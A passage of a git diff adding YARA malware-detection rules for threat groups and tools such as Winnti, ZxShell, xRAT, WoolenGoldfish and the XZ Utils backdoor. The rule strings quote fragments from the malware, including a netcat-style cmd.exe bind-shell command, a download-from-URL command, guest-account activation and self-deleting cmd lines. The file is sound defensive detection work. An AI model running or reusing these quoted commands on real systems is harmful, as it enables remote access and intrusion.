+      uint16(0) == 0x5a4d and filesize < 500KB and 2 of them
+}
+
+rule MAL_BurningUmbrella_Sample_22 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "fa116cf9410f1613003ca423ad6ca92657a61b8e9eda1b05caf4f30ca650aee5"
+      id = "90c6cda9-95a0-5de7-b1cd-110c238d993d"
+   strings:
+      $s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\" ascii
+      $s3 = "Content-Disposition: form-data; name=\"txt\"; filename=\"" fullword ascii
+      $s4 = "Fail To Enum Service" fullword ascii
+      $s5 = "Host Power ON Time" fullword ascii
+      $s6 = "%d Hours %2d Minutes %2d Seconds " fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and 4 of them
+}
+
+
+rule MAL_AirdViper_Sample_Apr18_1 {
+   meta:
+      description = "Detects Arid Viper malware sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-05-04"
+      hash1 = "9f453f1d5088bd17c60e812289b4bb0a734b7ad2ba5a536f5fd6d6ac3b8f3397"
+      id = "00f118d1-be1c-5f50-a50f-591f824a1a53"
+   strings:
+      $x1 = "cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"%s\"" fullword ascii
+      $x2 = "daenerys=%s&" ascii
+      $x3 = "betriebssystem=%s&anwendung=%s&AV=%s" ascii
+
+      $s1 = "Taskkill /IM  %s /F &  %s" fullword ascii
+      $s2 = "/api/primewire/%s/requests/macKenzie/delete" fullword ascii
+      $s3 = "\\TaskWindows.exe" ascii
+      $s4 = "MicrosoftOneDrives.exe" fullword ascii
+      $s5 = "\\SeanSansom.txt" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 6000KB and (
+         1 of ($x*) or
+         4 of them
+      )
+}
+
+/* Generic Rules ------------------------------------ */
+
+rule MAL_Winnti_Sample_May18_1 {
+   meta:
+      description = "Detects malware sample from Burning Umbrella report - Generic Winnti Rule"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "528d9eaaac67716e6b37dd562770190318c8766fa1b2f33c0974f7d5f6725d41"
+      id = "c2f3339e-269f-5a51-8db6-06e54a707b3a"
+   strings:
+      $s1 = "wireshark" fullword wide
+      $s2 = "procexp" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule MAL_Visel_Sample_May18_1 {
+   meta:
+      description = "Detects Visel malware sample from Burning Umbrella report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://401trg.pw/burning-umbrella/"
+      date = "2018-05-04"
+      hash1 = "35db8e6a2eb5cf09cd98bf5d31f6356d0deaf4951b353fc513ce98918b91439c"
+      id = "a244461a-380c-56e6-a891-131f6e13c280"
+   strings:
+      $s2 = "print32.dll" fullword ascii
+      $s3 = "c:\\a\\b.txt" fullword ascii
+      $s4 = "\\temp\\s%d.dat" wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+         pe.exports("szFile") or
+         2 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_winnti_hdroot.yar b/yara-Neo23x0/apt_winnti_hdroot.yar
new file mode 100644
index 0000000..a82af5a
--- /dev/null
+++ b/yara-Neo23x0/apt_winnti_hdroot.yar
@@ -0,0 +1,83 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-07
+   Identifier: HDRoot
+   Reference: Winnti HDRoot VT
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule HDRoot_Sample_Jul17_1 {
+   meta:
+      description = "Detects HDRoot samples"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Winnti HDRoot VT"
+      date = "2017-07-07"
+      hash1 = "6d2ad82f455becc8c830d000633a370857928c584246a7f41fe722cc46c0d113"
+      id = "06356f8a-bacd-51bc-a6f4-107983a9c16e"
+   strings:
+      $s1 = "gleupdate.dll" fullword ascii
+      $s2 = "\\DosDevices\\%ws\\system32\\%ws" wide
+      $s3 = "l\\Driver\\nsiproxy" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 60KB and 3 of them )
+}
+
+rule HDRoot_Sample_Jul17_2 {
+   meta:
+      description = "Detects HDRoot samples"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Winnti HDRoot VT"
+      date = "2017-07-07"
+      super_rule = 1
+      hash1 = "1c302ed9786fc600073cc6f3ed2e50e7c23785c94a2908f74f92971d978b704b"
+      hash2 = "3b7cfa40e26fb6b079b55ec030aba244a6429e263a3d9832e32ab09e7a3c4a9c"
+      hash3 = "71eddf71a94c5fd04c9f3ff0ca1eb6b1770df1a3a8f29689fb8588427b5c9e8e"
+      hash4 = "80e088f2fd2dbde0f9bc21e056b6521991929c4e0ecd3eb5833edff6362283f4"
+      id = "9ce9c0f4-e6f9-5033-ba74-367e6d741650"
+   strings:
+      $x1 = "http://microsoftcompanywork.htm" fullword ascii
+      $x2 = "compose.aspx?s=%4X%4X%4X%4X%4X%4X" fullword ascii
+
+      $t1 = "http://babelfish.yahoo.com/translate_url?" fullword ascii
+      $t2 = "http://translate.google.com/translate?prev=hp&hl=en&js=n&u=%s?%d&sl=es&tl=en" fullword ascii
+
+      $u1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5." ascii
+      $u2 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)" fullword ascii
+      $u3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; TERA:" fullword ascii
+
+      $s1 = "\\system32\\ntoskrnl.exe" ascii
+      $s2 = "Schedsvc.dll" fullword wide
+      $s3 = "dllserver64.dll" fullword ascii
+      $s4 = "C:\\TERA_SR.txt" fullword ascii
+      $s5 = "updatevnsc.dat" fullword wide
+      $s6 = "tera dll service global event" fullword ascii
+      $s7 = "Referer: http://%s/%s" fullword ascii
+      $s8 = "tera replace dll config" fullword ascii
+      $s9 = "SetupDll64.dll" fullword ascii
+      $s10 = "copy %%ComSpec%% \"%s\"" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and ( 1 of ($x*) or all of ($u*) or 8 of them )
+}
+
+rule Unspecified_Malware_Jul17_1A {
+   meta:
+      description = "Detects samples of an unspecified malware - July 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Winnti HDRoot VT"
+      date = "2017-07-07"
+      hash1 = "e1c38142b6194237a4cd4603829aa6edb6436e7bba15e3e6b0c9e8c6b629b42b"
+      id = "348515d5-784f-519d-b426-87b8a53de5f3"
+   strings:
+      $s1 = "%SystemRoot%\\System32\\wuauserv.dll" fullword ascii
+      $s2 = "systemroot%\\system32\\wuauserv.dll" fullword ascii
+      $s3 = "ocgen.logIN" fullword wide
+      $s4 = "ocmsn.logIN" fullword wide
+      $s5 = "Install.log" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 900KB and all of them )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_winnti_linux.yar b/yara-Neo23x0/apt_winnti_linux.yar
new file mode 100644
index 0000000..2e183e8
--- /dev/null
+++ b/yara-Neo23x0/apt_winnti_linux.yar
@@ -0,0 +1,39 @@
+rule APT_MAL_WinntiLinux_Dropper_AzazelFork_May19 : azazel_fork {
+    meta:
+        description = "Detection of Linux variant of Winnti"
+        author = "Silas Cutler (havex [@] chronicle.security), Chronicle Security"
+        version = "1.0"
+        date = "2019-05-15"
+        TLP = "White"
+        sha256 = "4741c2884d1ca3a40dadd3f3f61cb95a59b11f99a0f980dbadc663b85eb77a2a"
+        id = "d641de9a-e563-5067-b7e4-0aa83a087ed4"
+    strings:
+        $config_decr = { 48 89 45 F0 C7 45 EC 08 01 00 00 C7 45 FC 28 00 00 00 EB 31 8B 45 FC 48 63 D0 48 8B 45 F0 48 01 C2 8B 45 FC 48 63 C8 48 8B 45 F0 48 01 C8 0F B6 00 89 C1 8B 45 F8 89 C6 8B 45 FC 01 F0 31 C8 88 02 83 45 FC 01 }
+        $export1 = "our_sockets"
+        $export2 = "get_our_pids"
+    condition:
+        uint16(0) == 0x457f and all of them
+}
+
+rule APT_MAL_WinntiLinux_Main_AzazelFork_May19 {
+    meta:
+        description = "Detection of Linux variant of Winnti"
+        author = "Silas Cutler (havex [@] chronicle.security), Chronicle Security"
+        version = "1.0"
+        date = "2019-05-15"
+        TLP = "White"
+        sha256 = "ae9d6848f33644795a0cc3928a76ea194b99da3c10f802db22034d9f695a0c23"
+        id = "a1693e2d-4d89-5cc7-ab14-c8feb000638a"
+    strings:
+        $uuid_lookup = "/usr/sbin/dmidecode  | grep -i 'UUID' |cut -d' ' -f2 2>/dev/null"
+        $dbg_msg = "[advNetSrv] can not create a PF_INET socket"
+        $rtti_name1 = "CNetBase"
+        $rtti_name2 = "CMyEngineNetEvent"
+        $rtti_name3 = "CBufferCache"
+        $rtti_name4 = "CSocks5Base"
+        $rtti_name5 = "CDataEngine"
+        $rtti_name6 = "CSocks5Mgr"
+        $rtti_name7 = "CRemoteMsg"
+    condition:
+        uint16(0) == 0x457f and ( ($dbg_msg and 1 of ($rtti*)) or (5 of ($rtti*)) or ($uuid_lookup and 2 of ($rtti*)) )
+}
diff --git a/yara-Neo23x0/apt_winnti_ms_report_201701.yar b/yara-Neo23x0/apt_winnti_ms_report_201701.yar
new file mode 100644
index 0000000..41b59f8
--- /dev/null
+++ b/yara-Neo23x0/apt_winnti_ms_report_201701.yar
@@ -0,0 +1,42 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-01-25
+   Identifier: Winnti MS Report
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Winnti_fonfig {
+   meta:
+      description = "Winnti sample - file fonfig.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/VbvJtL"
+      date = "2017-01-25"
+      hash1 = "2c9882854a60c624ecf6b62b6c7cc7ed04cf4a29814aa5ed1f1a336854697641"
+      id = "ca3c186c-0286-5b9b-9585-7680336c8c3d"
+   strings:
+      $s1 = "mciqtz.exe" fullword wide
+      $s2 = "knat9y7m" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule Winnti_NlaifSvc {
+   meta:
+      description = "Winnti sample - file NlaifSvc.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/VbvJtL"
+      date = "2017-01-25"
+      hash1 = "964f9bfd52b5a93179b90d21705cd0c31461f54d51c56d558806fe0efff264e5"
+      id = "d2bfcad4-9762-5f2a-88cc-e8cdc648e710"
+   strings:
+      $x1 = "cracked by ximo" ascii
+
+      $s1 = "Yqrfpk" fullword ascii
+      $s2 = "IVVTOC" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 900KB and ( 1 of ($x*) or 2 of them ) ) or ( 3 of them )
+}
diff --git a/yara-Neo23x0/apt_woolengoldfish.yar b/yara-Neo23x0/apt_woolengoldfish.yar
new file mode 100644
index 0000000..47d9315
--- /dev/null
+++ b/yara-Neo23x0/apt_woolengoldfish.yar
@@ -0,0 +1,111 @@
+/*
+	Operation WoolenGoldfish Rules (Trendmicro Report)
+	v0.1 25.03.2015
+
+	These rules detect 26 of the samples mentioned in the report
+	Reference: http://blog.trendmicro.com/trendlabs-security-intelligence/operation-woolen-goldfish-when-kittens-go-phishing/
+
+	Tested against 20GB goodware sample archiv - pls report back false positives
+	on LOKI's github page https://github.com/Neo23x0/Loki/issues
+
+*/
+
+rule WoolenGoldfish_Sample_1 {
+	meta:
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/NpJpVZ"
+		date = "2015/03/25"
+		score = 60
+		hash = "7ad0eb113bc575363a058f4bf21dbab8c8f7073a"
+		id = "923de51a-8422-5318-95f5-79613d2d642e"
+	strings:
+		$s1 = "Cannot execute (%d)" fullword ascii
+		$s16 = "SvcName" fullword ascii
+	condition:
+		all of them
+}
+
+rule WoolenGoldfish_Generic_1 {
+	meta:
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/NpJpVZ"
+		date = "2015/03/25"
+		score = 90
+		super_rule = 1
+		hash0 = "5d334e0cb4ff58859e91f9e7f1c451ffdc7544c3"
+		hash1 = "d5b2b30fe2d4759c199e3659d561a50f88a7fb2e"
+		hash2 = "a42f1ad2360833baedd2d5f59354c4fc3820c475"
+		id = "351f5ee5-c0ec-51b6-9953-2b64e3e74b09"
+	strings:
+		$x0 = "Users\\Wool3n.H4t\\"
+		$x1 = "C-CPP\\CWoolger"
+		$x2 = "NTSuser.exe" fullword wide
+
+		$s1 = "107.6.181.116" fullword wide
+		$s2 = "oShellLink.Hotkey = \"CTRL+SHIFT+F\"" fullword
+		$s3 = "set WshShell = WScript.CreateObject(\"WScript.Shell\")" fullword
+		$s4 = "oShellLink.IconLocation = \"notepad.exe, 0\"" fullword
+		$s5 = "set oShellLink = WshShell.CreateShortcut(strSTUP & \"\\WinDefender.lnk\")" fullword
+		$s6 = "wlg.dat" fullword
+		$s7 = "woolger" fullword wide
+		$s8 = "[Enter]" fullword
+		$s9 = "[Control]" fullword
+	condition:
+		( 1 of ($x*) and 2 of ($s*) ) or
+		( 6 of ($s*) )
+}
+
+rule WoolenGoldfish_Generic_2 {
+	meta:
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/NpJpVZ"
+		date = "2015/03/25"
+		score = 90
+		hash1 = "47b1c9caabe3ae681934a33cd6f3a1b311fd7f9f"
+		hash2 = "62172eee1a4591bde2658175dd5b8652d5aead2a"
+		hash3 = "7fef48e1303e40110798dfec929ad88f1ad4fbd8"
+		hash4 = "c1edf6e3a271cf06030cc46cbd90074488c05564"
+		id = "930b928f-ff32-56b2-9e3c-dd80036ff7ef"
+	strings:
+		$s0 = "modules\\exploits\\littletools\\agent_wrapper\\release" ascii
+	condition:
+		all of them
+}
+
+rule WoolenGoldfish_Generic_3 {
+	meta:
+		description = "Detects a operation Woolen-Goldfish sample - http://goo.gl/NpJpVZ"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/NpJpVZ"
+		date = "2015/03/25"
+		score = 90
+		hash1 = "86222ef166474e53f1eb6d7e6701713834e6fee7"
+		hash2 = "e8dbcde49c7f760165ebb0cb3452e4f1c24981f5"
+		id = "5c227d24-624c-5fb5-a2ea-a971fda8bfba"
+	strings:
+		$x1 = "... get header FATAL ERROR !!!  %d bytes read > header_size" fullword ascii
+		$x2 = "index.php?c=%S&r=%x&u=1&t=%S" fullword wide
+		$x3 = "connect_back_tcp_channel#do_connect:: Error resolving connect back hostname" fullword ascii
+
+		$s0 = "kernel32.dll GetProcAddressLoadLibraryAws2_32.dll" fullword ascii
+		$s1 = "Content-Type: multipart/form-data; boundary=%S" fullword wide
+		$s2 = "Attempting to unlock uninitialized lock!" fullword ascii
+		$s4 = "unable to load kernel32.dll" fullword ascii
+		$s5 = "index.php?c=%S&r=%x" fullword wide
+		$s6 = "%s len:%d " fullword ascii
+		$s7 = "Encountered error sending syscall response to client" fullword ascii
+		$s9 = "/info.dat" fullword ascii
+		$s10 = "Error entering thread lock" fullword ascii
+		$s11 = "Error exiting thread lock" fullword ascii
+		$s12 = "connect_back_tcp_channel_init:: socket() failed" fullword ascii
+	condition:
+		( 1 of ($x*) ) or
+		( 8 of ($s*) )
+}
diff --git a/yara-Neo23x0/apt_xrat.yar b/yara-Neo23x0/apt_xrat.yar
new file mode 100644
index 0000000..9645d5f
--- /dev/null
+++ b/yara-Neo23x0/apt_xrat.yar
@@ -0,0 +1,41 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-12-11
+   Identifier: Patchwork
+   Reference: https://goo.gl/Pg3P4W
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule xRAT_1 {
+   meta:
+      description = "Detects Patchwork malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/Pg3P4W"
+      date = "2017-12-11"
+      hash1 = "92be93ec4cbe76182404af0b180871fbbfa3c7b34e4df6745dbcde480b8b4b3b"
+      hash2 = "f1a45adcf907e660ec848c6086e28c9863b7b70d0d38417dd05a4261973c955a"
+      id = "170c926a-2020-5269-85b8-6fe9ad28ef76"
+   strings:
+      $x1 = "\" -CHECK & PING -n 2 127.0.0.1 & EXIT" fullword wide
+      $x2 = "xClient.Core.Elevation" fullword ascii
+      $x3 = ">> Welcome to MAX-Shell :Session created" fullword wide
+      $x4 = "xClient.Properties.Resources.resources" fullword ascii
+      $x5 = "<description>My UAC Compatible application</description>" fullword ascii
+
+      $s1 = "ping -n 20 localhost > nul" fullword wide
+      $s2 = "DownloadAndExecute" fullword ascii
+      $s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36" fullword wide
+      $s4 = "Client.exe" fullword ascii
+      $s5 = "Microsoft -Defender" fullword wide
+      $s6 = "Microsoft- Defender" fullword wide
+      $s7 = "set_RunHidden" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and (
+         1 of ($x*) or
+         3 of them
+      )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_zxshell.yar b/yara-Neo23x0/apt_zxshell.yar
new file mode 100644
index 0000000..e49f09b
--- /dev/null
+++ b/yara-Neo23x0/apt_zxshell.yar
@@ -0,0 +1,138 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-08
+   Identifier: ZxShell Related Malware (same C2)
+   Reference: https://blogs.rsa.com/cat-phishing/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule ZxShell_Related_Malware_CN_Group_Jul17_1 {
+   meta:
+      description = "Detects a ZxShell related sample from a CN threat group"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blogs.rsa.com/cat-phishing/"
+      date = "2017-07-08"
+      hash1 = "ef56c2609bc1b90f3e04745890235e6052a4be94e35e38b6f69b64fb17a7064e"
+      id = "a91e39bb-1bb3-54a8-b684-d673c445375c"
+   strings:
+      $x1 = "CMD.EXE /C NET USER GUEST /ACTIVE:yes && NET USER GUEST ++++++" ascii
+      $x2 = "system\\cURRENTcONTROLSET\\sERVICES\\tERMSERVICE" fullword ascii
+      $x3 = "\\secivreS\\teSlortnoCtnerruC\\METSYS" ascii /* reversed goodware string 'SYSTEM\\CurrentControlSet\\Services\\' */
+      $x4 = "system\\cURRENTCONTROLSET\\cONTROL\\tERMINAL sERVER" fullword ascii
+      $x5 = "sOFTWARE\\mICROSOFT\\iNTERNET eXPLORER\\mAIN" fullword ascii
+      $x6 = "eNABLEaDMINtsREMOTE" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and 1 of them )
+}
+
+rule ZxShell_Related_Malware_CN_Group_Jul17_2 {
+   meta:
+      description = "Detects a ZxShell related sample from a CN threat group"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blogs.rsa.com/cat-phishing/"
+      date = "2017-07-08"
+      hash1 = "204273675526649b7243ee48efbb7e2bc05239f7f9015fbc4fb65f0ada64759e"
+      id = "37c1f26b-4b4f-510e-a7b7-b2afb17d6e71"
+   strings:
+      $u1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
+      $u2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
+      $u3 = "User-Agent:Mozilla/5.0 (X11; U; Linux i686; en-US; re:1.4.0) Gecko/20080808 Firefox/%d.0" fullword ascii
+      $u4 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
+
+      $x1 = "\\\\%s\\admin$\\g1fd.exe" fullword ascii
+      $x2 = "C:\\g1fd.exe" fullword ascii
+      $x3 = "\\\\%s\\C$\\NewArean.exe" fullword ascii
+
+      $s0 = "at \\\\%s %d:%d %s" fullword ascii
+      $s1 = "%c%c%c%c%ccn.exe" fullword ascii
+      $s2 = "hra%u.dll" fullword ascii
+      $s3 = "Referer: http://%s:80/http://%s" fullword ascii
+      $s5 = "Accept-Language: zh-cn" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of ($x*) or 3 of them )
+}
+
+rule ZxShell_Related_Malware_CN_Group_Jul17_3 {
+   meta:
+      description = "Detects a ZxShell related sample from a CN threat group"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blogs.rsa.com/cat-phishing/"
+      date = "2017-07-08"
+      hash1 = "2e5cf8c785dc081e5c2b43a4a785713c0ae032c5f86ccbc7abf5c109b8854ed7"
+      id = "1900b861-b4a2-50b5-a639-3eb442072139"
+   strings:
+      $s1 = "%s\\nt%s.dll" fullword ascii
+      $s2 = "RegQueryValueEx(Svchost\\netsvcs)" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and all of them )
+}
+
+rule ZxShell_Jul17 {
+   meta:
+      description = "Detects a ZxShell - CN threat group"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blogs.rsa.com/cat-phishing/"
+      date = "2017-07-08"
+      hash1 = "5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16"
+      id = "1b009b20-5a19-5cac-aaaf-ca61310eab9f"
+   strings:
+      $x1 = "zxplug -add" fullword ascii
+      $x2 = "getxxx c:\\xyz.dll" fullword ascii
+      $x3 = "downfile -d c:\\windows\\update.exe" fullword ascii
+      $x4 = "-fromurl http://x.x.x/x.dll" fullword ascii
+      $x5 = "ping 127.0.0.1 -n 7&cmd.exe /c net start %s" fullword ascii
+      $x6 = "ZXNC -e cmd.exe x.x.x.x" fullword ascii
+      $x7 = "(bind a cmdshell)" fullword ascii
+      $x8 = "ZXFtpServer 21 20 zx" fullword ascii
+      $x9 = "ZXHttpServer" fullword ascii
+      $x10 = "c:\\error.htm,.exe|c:\\a.exe,.zip|c:\\b.zip\"" fullword ascii
+      $x11 = "c:\\windows\\clipboardlog.txt" fullword ascii
+      $x12 = "AntiSniff -a wireshark.exe" fullword ascii
+      $x13 = "c:\\windows\\keylog.txt" fullword ascii
+   condition:
+      ( filesize < 10000KB and 1 of them ) or 3 of them
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-12-11
+   Identifier: ZxShell
+   Reference: https://goo.gl/snc85M
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule ZXshell_20171211_chrsben {
+   meta:
+      description = "Detects ZxShell variant surfaced in Dec 17"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/snc85M"
+      date = "2017-12-11"
+      hash1 = "dd01e7a1c9b20d36ea2d961737780f2c0d56005c370e50247e38c5ca80dcaa4f"
+      id = "3bbfddb8-011a-52dd-b0c8-b35e6f740507"
+   strings:
+      $x1 = "ncProxyXll" fullword ascii
+
+      $s1 = "Uniscribe.dll" fullword ascii
+      $s2 = "GetModuleFileNameDll" fullword ascii
+      $s4 = "$Hangzhou Shunwang Technology Co.,Ltd0" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and (
+        pe.imphash() == "de481441d675e9aca4f20bd8e16a5faa" or
+        pe.exports("PerfectWorld") or
+        pe.exports("ncProxyXll") or
+        1 of ($x*) or
+        2 of them
+      )
+}
diff --git a/yara-Neo23x0/bkdr_xz_util_cve_2024_3094.yar b/yara-Neo23x0/bkdr_xz_util_cve_2024_3094.yar
new file mode 100644
index 0000000..b5a4cba
--- /dev/null
+++ b/yara-Neo23x0/bkdr_xz_util_cve_2024_3094.yar
@@ -0,0 +1,75 @@
+
+rule BKDR_XZUtil_Script_CVE_2024_3094_Mar24_1 {
+   meta:
+      description = "Detects make file and script contents used by the backdoored XZ library (xzutil) CVE-2024-3094."
+      author = "Florian Roth"
+      reference = "https://www.openwall.com/lists/oss-security/2024/03/29/4"
+      date = "2024-03-30"
+      score = 80
+      hash = "d44d0425769fa2e0b6875e5ca25d45b251bbe98870c6b9bef34f7cea9f84c9c3"
+      id = "6b62ffc2-d0a7-5810-97a3-c48f7fac300e"
+   strings:
+      $x1 = "/bad-3-corrupt_lzma2.xz | tr " ascii
+      $x2 = "/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|" ascii
+      $x3 = "eval $zrKcKQ" ascii
+   condition:
+      1 of them
+}
+
+rule BKDR_XZUtil_Binary_CVE_2024_3094_Mar24_1 {
+   meta:
+      description = "Detects injected code used by the backdoored XZ library (xzutil) CVE-2024-3094."
+      author = "Florian Roth"
+      reference = "https://www.openwall.com/lists/oss-security/2024/03/29/4"
+      date = "2024-03-30"
+      score = 75
+      hash1 = "319feb5a9cddd81955d915b5632b4a5f8f9080281fb46e2f6d69d53f693c23ae"
+      hash2 = "605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4"
+      hash3 = "8fa641c454c3e0f76de73b7cc3446096b9c8b9d33d406d38b8ac76090b0344fd"
+      hash4 = "b418bfd34aa246b2e7b5cb5d263a640e5d080810f767370c4d2c24662a274963"
+      hash5 = "cbeef92e67bf41ca9c015557d81f39adaba67ca9fb3574139754999030b83537"
+      hash6 = "5448850cdc3a7ae41ff53b433c2adbd0ff492515012412ee63a40d2685db3049"
+      id = "6ccdeb6d-67c4-5358-a76b-aef7f047c997"
+   strings:
+      $op1 = { 48 8d 7c 24 08 f3 ab 48 8d 44 24 08 48 89 d1 4c 89 c7 48 89 c2 e8 ?? ?? ?? ?? 89 c2 }
+      $op2 = { 31 c0 49 89 ff b9 16 00 00 00 4d 89 c5 48 8d 7c 24 48 4d 89 ce f3 ab 48 8d 44 24 48 }
+      $op3 = { 4d 8b 6c 24 08 45 8b 3c 24 4c 8b 63 10 89 85 78 f1 ff ff 31 c0 83 bd 78 f1 ff ff 00 f3 ab 79 07 }
+
+      /* function signature from detect.sh provided by Vegard Nossum */
+      $xc1 = { F3 0F 1E FA 55 48 89 F5 4C 89 CE 53 89 FB 81 E7 00 00 00 80 48 83 EC 28 48 89 54 24 18 48 89 4C 24 10 }
+   condition:
+      uint16(0) == 0x457f
+      and (
+         all of ($op*)
+         or $xc1
+      )
+}
+
+rule BKDR_XZUtil_KillSwitch_CVE_2024_3094_Mar24_1 {
+   meta:
+      description = "Detects kill switch used by the backdoored XZ library (xzutil) CVE-2024-3094."
+      author = "Florian Roth"
+      reference = "https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01?permalink_comment_id=5006558#gistcomment-5006558"
+      date = "2024-03-30"
+      score = 85
+      id = "0d28bec4-1d3a-5af0-9e9e-49486fcc62e1"
+   strings:
+      $x1 = "yolAbejyiejuvnup=Evjtgvsh5okmkAvj"
+   condition:
+      $x1
+}
+
+rule SUSP_OBFUSC_SH_Indicators_Mar24_1 {
+   meta:
+      description = "Detects characteristics found in obfuscated script (used in the backdoored XZ package, but could match on others, too)"
+      author = "Florian Roth"
+      reference = "https://www.openwall.com/lists/oss-security/2024/03/29/4/1"
+      date = "2024-04-06"
+      score = 60
+      id = "f9fcc326-75d6-5a5a-a8b5-7de15a11448e"
+   strings:
+      $s1 = "eval $"
+   condition:
+      uint8(1) == 0x3d // an equal sign at byte 2 ; means that the variable is only 1 character long
+      and $s1 in (filesize-20..filesize) // eval at the very end of the file
+}
